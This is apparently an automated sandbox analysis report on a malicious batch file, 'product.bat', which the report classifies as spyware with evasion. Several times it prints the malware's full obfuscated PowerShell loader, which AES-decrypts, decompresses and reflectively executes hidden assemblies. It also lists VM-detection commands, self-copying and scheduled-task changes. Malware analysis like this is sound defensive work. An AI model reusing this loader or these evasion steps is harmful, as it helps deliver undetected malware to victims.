Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001B94DA6CC94	30_3_000001B94DA6CC94
Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001B94DA623F0	30_3_000001B94DA623F0
Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001B94DA6CE18	30_3_000001B94DA6CE18
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA9D894	30_2_000001B94DA9D894
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA92FF0	30_2_000001B94DA92FF0
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA9DA18	30_2_000001B94DA9DA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_3_000002520254CE18	31_3_000002520254CE18
Source: C:\Windows\System32\svchost.exe	Code function: 31_3_00000252025423F0	31_3_00000252025423F0
Source: C:\Windows\System32\svchost.exe	Code function: 31_3_000002520254CC94	31_3_000002520254CC94
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000002520257DA18	31_2_000002520257DA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000025202572FF0	31_2_0000025202572FF0
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000002520257D894	31_2_000002520257D894
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025ADA18	31_2_00000252025ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025A2FF0	31_2_00000252025A2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025AD894	31_2_00000252025AD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_3_000001A9EBF923F0	32_3_000001A9EBF923F0
Source: C:\Windows\System32\svchost.exe	Code function: 32_3_000001A9EBF9CE18	32_3_000001A9EBF9CE18
Source: C:\Windows\System32\svchost.exe	Code function: 32_3_000001A9EBF9CC94	32_3_000001A9EBF9CC94
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE603A	32_2_000001A9EBFE603A
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE6008	32_2_000001A9EBFE6008
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFC2FF0	32_2_000001A9EBFC2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5FE9	32_2_000001A9EBFE5FE9
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE57B0	32_2_000001A9EBFE57B0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5F8F	32_2_000001A9EBFE5F8F
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5F7F	32_2_000001A9EBFE5F7F
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5F50	32_2_000001A9EBFE5F50
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5F40	32_2_000001A9EBFE5F40
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5F30	32_2_000001A9EBFE5F30
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5F00	32_2_000001A9EBFE5F00
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5EF0	32_2_000001A9EBFE5EF0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5EE0	32_2_000001A9EBFE5EE0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5EB0	32_2_000001A9EBFE5EB0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5EA0	32_2_000001A9EBFE5EA0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5E90	32_2_000001A9EBFE5E90
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5DA0	32_2_000001A9EBFE5DA0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5D60	32_2_000001A9EBFE5D60
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5D20	32_2_000001A9EBFE5D20
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5D10	32_2_000001A9EBFE5D10
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5C7F	32_2_000001A9EBFE5C7F
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5C60	32_2_000001A9EBFE5C60
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5C10	32_2_000001A9EBFE5C10
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFCDA18	32_2_000001A9EBFCDA18
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE59E0	32_2_000001A9EBFE59E0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5990	32_2_000001A9EBFE5990
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5940	32_2_000001A9EBFE5940
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE6138	32_2_000001A9EBFE6138
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE5900	32_2_000001A9EBFE5900
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE60FA	32_2_000001A9EBFE60FA
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE60D9	32_2_000001A9EBFE60D9
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFCD894	32_2_000001A9EBFCD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFE6089	32_2_000001A9EBFE6089
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC68D894	32_2_000001A9EC68D894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC68DA18	32_2_000001A9EC68DA18
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC682FF0	32_2_000001A9EC682FF0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6BD894	32_2_000001A9EC6BD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6BDA18	32_2_000001A9EC6BDA18
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6B2FF0	32_2_000001A9EC6B2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 33_3_0000019FF160CE18	33_3_0000019FF160CE18
Source: C:\Windows\System32\svchost.exe	Code function: 33_3_0000019FF16023F0	33_3_0000019FF16023F0
Source: C:\Windows\System32\svchost.exe	Code function: 33_3_0000019FF160CC94	33_3_0000019FF160CC94
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF163DA18	33_2_0000019FF163DA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF1632FF0	33_2_0000019FF1632FF0
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF163D894	33_2_0000019FF163D894
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19ADA18	33_2_0000019FF19ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19AD894	33_2_0000019FF19AD894
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19A2FF0	33_2_0000019FF19A2FF0

Source: Joe Sandbox View

Dropped File: C:\Windows\$nya-onimai2\IhrFKM.exe 878DF6F755578E2E79D0E6FD350F5B4430E0E42BB4BC8757AFB97999BC405BA4

Source: IhrFKM.exe.35.dr

Static PE information: No import functions for PE file found

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2175
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2173
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2175	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2173	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 8164, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exes
Source: System.evtx.36.dr	Binary string: \Device\HarddiskVolume3\Windows\ImmersiveControlPanel\SystemSettings.exeX
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exer
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.36.dr	Binary string: J\Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: Microsoft-Windows-SMBServer%4Operational.evtx.36.dr	Binary string: user-PC WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exee
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exec
Source: Security.evtx.36.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeb
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeProP**
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exem
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.36.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.36.dr	Binary string: O\Device\HarddiskVolume3\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll6\Device\HarddiskVolume3\Windows\System32\SIHClient.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe,
Source: Microsoft-Windows-SMBServer%4Operational.evtx.36.dr	Binary string: DESKTOP-AGET0TR WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: System.evtx.36.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\svchost.exeh
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.36.dr	Binary string: >\Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys
Source: Microsoft-Windows-SMBServer%4Operational.evtx.36.dr	Binary string: \Device\NetbiosSmb
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 9\Device\HarddiskVolume3\Windows\System32\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.36.dr	Binary string: T\Device\HarddiskVolume3\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source: System.evtx.36.dr	Binary string: C:\Device\HarddiskVolume3
Source: System.evtx.36.dr	Binary string: \Device\HarddiskVolume3\Windows\SysWOW64\tzutil.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\SysWOW64\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: System.evtx.36.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4ic
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeA
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.36.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe
Source: System.evtx.36.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\svchost.exeT
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.36.dr	Binary string: 5\Device\HarddiskVolume3\Windows\System32\services.exe
Source: System.evtx.36.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-SMBServer%4Operational.evtx.36.dr	Binary string: :\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-SMBServer%4Operational.evtx.36.dr	Binary string: WIN-77KHDDR6TT1 WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.36.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Security.evtx.36.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\drivers\filetrace.syssio

Source: classification engine

Classification label: mal100.spyw.evad.winBAT@32/74@2/1

Source: C:\Windows\System32\dllhost.exe

Code function: 14_2_0000000140002D4C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,

14_2_0000000140002D4C

Source: C:\Windows\System32\dllhost.exe

Code function: 14_2_000000014000217C SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

14_2_000000014000217C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1504:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\7c3f3d12-14bf-4271-9822-a770c887ff1d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4aekovv1.sfn.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\product.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\product.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{372c9116-8a11-4207-941c-c83db9f8d8a2}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\product.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{29a28251-c10b-42e7-8393-a6c218333ff2}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{372c9116-8a11-4207-941c-c83db9f8d8a2}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\product.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ 